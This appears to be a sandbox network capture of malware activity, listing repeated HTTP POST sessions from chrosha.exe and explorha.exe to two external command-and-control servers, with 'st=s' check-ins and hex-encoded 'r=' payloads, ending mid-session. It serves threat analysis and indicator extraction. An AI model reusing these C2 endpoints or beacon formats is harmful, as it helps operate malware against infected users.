Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49951	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:25.032480955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:25.272588015 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:25.275438070 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:25.520054102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49952	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:25.209204912 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:25.457386017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49955	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:25.809533119 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:26.046732903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49956	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:25.882150888 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:26.130887985 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:26.133639097 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:26.387231112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49957	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:26.290864944 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:26.537076950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49958	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:26.731304884 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:26.969588995 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:26.970752001 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:27.213520050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49959	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:26.905539989 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:27.158054113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49960	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:27.404875994 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:27.652173996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49961	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:27.573203087 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:27.816133976 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:27.817336082 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:28.063870907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49962	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:28.010478973 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:28.258400917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49963	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:28.268959045 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:28.512623072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49964	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:28.429094076 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:28.677170992 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:28.680423975 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:28.933939934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49965	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:28.868068933 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:29.115343094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49966	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:29.292473078 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:29.538041115 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:29.539248943 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:29.789638042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49967	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:29.363692045 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:29.613923073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49968	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:29.979830027 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:30.227817059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49969	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:30.149347067 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:30.399357080 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:30.400399923 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:30.656549931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49970	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
